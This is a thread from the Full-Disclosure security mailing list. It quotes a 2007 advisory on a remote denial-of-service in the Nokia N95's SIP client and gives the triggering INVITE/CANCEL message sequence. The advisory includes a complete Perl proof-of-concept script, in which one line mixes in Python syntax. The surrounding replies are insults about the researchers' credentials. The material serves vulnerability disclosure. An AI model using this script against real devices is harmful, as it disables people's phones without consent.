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Re: Nokia N95 cellphone remote DoS using the SIP Stack

From: nnp <version5 () gmail com>
Date: Wed, 5 Dec 2007 14:10:15 -0800
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I think you're missing his point. In fact I might be too but my take on it
is this.... you'd think two PhD's and a PhD student might be able to do
something a little more advanced than running a fuzzer and reporting DoS
conditions.

Do you guys even investigate the DoS to determine the root cause? If ye did
then that might be OK and considered PhD level. I would think that a PhD
level interpretation of this area might be for instance..... running a
fuzzer against a hardware phone and then getting some form of code
execution. Yes? No? Maybe? It looks to me like someone one of you guys built
a VoIP fuzzer (is it even a VoIP fuzzer or just SIP?) and for the remainder
of your doctoral studies you will be purchasing equipment and hitting the
'Fuzz' button.

As I said, if you're gonna be submitting this kind of stuff to every list
you can then at least investigate the root cause, maybe then it'll provide
some slightly more interesting reading and perhaps benefit your thesis.

nnp

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On Dec 5, 2007 11:57 AM, <state () loria fr> wrote:


hi Reepex,

I do not understand why are frustrated about a computer science degree.
Maybe,
someone got dropped out of a degree programm and some psychological trauma
gets
 activated when seeing a Ph.D?

If you like it or not, in order to get a computer science degree, you will
have
to take classes, and  most classes are taught by Ph.Ds.

I will not argue with you on why I use the Ph.D in my signature, but if
you
really want to know, look at our research papers published in academic
journals/conferences. (If you do not find them, I can send them to you).
If you will ever understand the contents, then you will understand what
are our
credentials..:) This will probably never happen.

At least, I use a signature and a real name and do not hide behind a gmail
account.

Meanwhile try yourself to find at least one vulnerability and enjoy Perl
programming, it seemes your computer science skills are somehow in this
area :)


Greetings




RS


Selon reepex <reepex () gmail com>:


So almighty Phd what is your thesis exactly?

To me it seems to be  'how to run a fuzzer then write crappy perl

 scripts

to exploit DoS conditions'

does this properly summarize your phd credentials?

I guess  you could tack on 'after writing the crappy scripts, flood

mailing

lists with our crap, and get made fun of'

I am sure you will serve the academic community great one day when teach
"hacking" classes revolving around the latest editions of hacking

exposed




On Dec 5, 2007 11:05 AM, Radu State <State () loria fr> wrote:


 Nokia N95 cellphone remote DoS using the SIP Stack



Severity:

High – Denial of Service



Hardware:

Nokia N95



Firmware:

Tested version: Nokia RM-159 V 12.0.013



Notification:

Vulnerability found: 11 September 2007

Contact Nokia Support: 12 September 2007 / None reply Contact Nokia
Security Support: 19 September 2007 / None reply



Vulnerability Synopsis:

If the device has the SIP Phone client activated, a sequence of SIP
messages turn the device in an inconsistent state where the user is

not

able

to operate it anymore until it reboots.



The sequence of messages consists in 2 different SIP Dialogs where the
first initiates an INVITE transaction but immediately closes it (in an
anticipated manner). While, the second transaction initiates a normal

INVITE

transaction that trigger the vulnerability of the target.



The sequence of messages is illustrated below.



X ------------------------- INVITE -----------------------> Nokiav12

X <---------------------- 100 Trying ---------------------- Nokiav12

X ------------------------- CANCEL -----------------------> Nokiav12

X <----------------- OK (to the Cancel) ------------------- Nokiav12

 X <---------------- 487 Request Terminated ---------------- Nokiav12



--------New Dialog--------



X ------------------------- INVITE -----------------------> Nokiav12

X <---------------------- 100 Trying ---------------------- Nokiav12

X <---------------------- 180 Trying ---------------------- Nokiav12



---- The device does not work properly anymore ----



Impact:

A remote entity can take down all the services of the cell phone



Resolution:

As we did not get any proper reply from Nokia about the subject, the

best

way will be to disable the SIP Client



Credits:

Humberto J. Abdelnur (Ph.D Student)

Radu State (Ph.D)

Olivier Festor (Ph.D)



This vulnerability was identified by the Madynes research team at

INRIA

Lorraine, using KiF the Madynes VoIP fuzzer.

http://madynes.loria.fr/





Proof of Concept:



A perl script (nokiav12.pl) is attached to this mail. Before launching

it, the SIP phone has to be initialed in the target device



Command:

perl nokiav12.pl <dst_IP> <username> <SourceIp> <SourceUsername>



Eg. perl nokiav12.pl 192.168.1.119 lupilu 192.168.1.2 tucu





#!/usr/bin/perl



##################################################

# Vulnerabily discovered using KiF ~ Kiph #

# #

# Authors: #

# Humberto J. Abdelnur (Ph.D Student) #

# Radu State (Ph.D) #

# Olivier Festor (Ph.D) #

# #

# Madynes Team, LORIA - INRIA Lorraine #

# http://madynes.loria.fr #

##################################################



use IO::Socket::INET;

use String::Random;



die "Usage $0 <targetIP> <targetUser> <attackerIP> <attackerUser>"

unless ($ARGV[3]);



$targetUser = $ARGV[1];

$targetIP = $ARGV[0];



$attackerUser = $ARGV[3];

$attackerIP= $ARGV[2];



$socket=new IO::Socket::INET->new(

Proto=>'udp',

PeerPort=>5060,

PeerAddr=>$targetIP,

LocalPort=>5060);



$foo = new String::Random;

$callid= $foo->randpattern("CCccnCn");

$cseq = $foo->randregex('\d\d\d\d');



$sdp = "v=0\r

o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r

s=-\r

c=IN IP4 $attackerIP\r

t=0 0\r

m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r

a=sendrecv\r

a=ptime:20\r

a=maxptime:200\r

a=fmtp:96 mode-change-neighbor=1\r

a=fmtp:18 annexb=no\r

a=fmtp:98 0-15\r

a=rtpmap:96 AMR/8000/1\r

a=rtpmap:0 PCMU/8000/1\r

a=rtpmap:8 PCMA/8000/1\r

a=rtpmap:97 iLBC/8000/1\r

a=rtpmap:18 G729/8000/1\r

a=rtpmap:98 telephone-event/8000/1\r

a=rtpmap:13 CN/8000/1\r

";



$sdplen= length $sdp;



$msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r

Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r

From: <sip:$attackerUser\@$attackerIP>;tag=1\r

To: <sip:$targetUser\@$targetIP>\r

Call-ID: $callid\@$attackerIP\r

CSeq: $cseq INVITE\r

Max-Forwards: 70\r

Contact: <sip:$attackerUser\@$attackerIP>\r

Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY,

MESSAGE\r

Content-Type: application/sdp\r

Content-Length: $sdplen\r

\r

$sdp";

$socket->send($msg);

$text = '';

while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){

$socket->recv($text,1024,0);

}



$msg = "CANCEL sip:$targetUser\@$targetIP SIP/2.0\r

Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r

From: <sip:$attackerUser\@$attackerIP>;tag=1\r

To: <sip:$targetUser\@$targetIP>;tag=1\r

Call-ID: $callid\@$attackerIP\r

CSeq: $cseq CANCEL\r

Max-Forwards: 70\r

Content-Length: 0\r

\r

";

$socket->send($msg);

time.sleep(1);

$callid= $foo->randpattern("CCccnCn");

$cseq = $foo->randregex('\d\d\d\d');

$msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r

Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK2\r

From: <sip:$attackerUser\@$attackerIP>;tag=2\r

To: <sip:$targetUser\@$targetIP>\r

Call-ID: $callid\@$attackerIP\r

CSeq: $cseq INVITE\r

Contact: <sip:$attackerUser\@$attackerIP>\r

Max-Forwards: 70\r

Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY,

MESSAGE\r

Content-Type: application/sdp\r

Content-Length: $sdplen\r

\r

$sdp";

$socket->send($msg);







No virus found in this outgoing message.
Checked by AVG Free Edition.
Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date:
04/12/2007 19:31

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/





-- 
http://www.smashthestack.org
http://www.unprotectedhex.com

_______________________________________________
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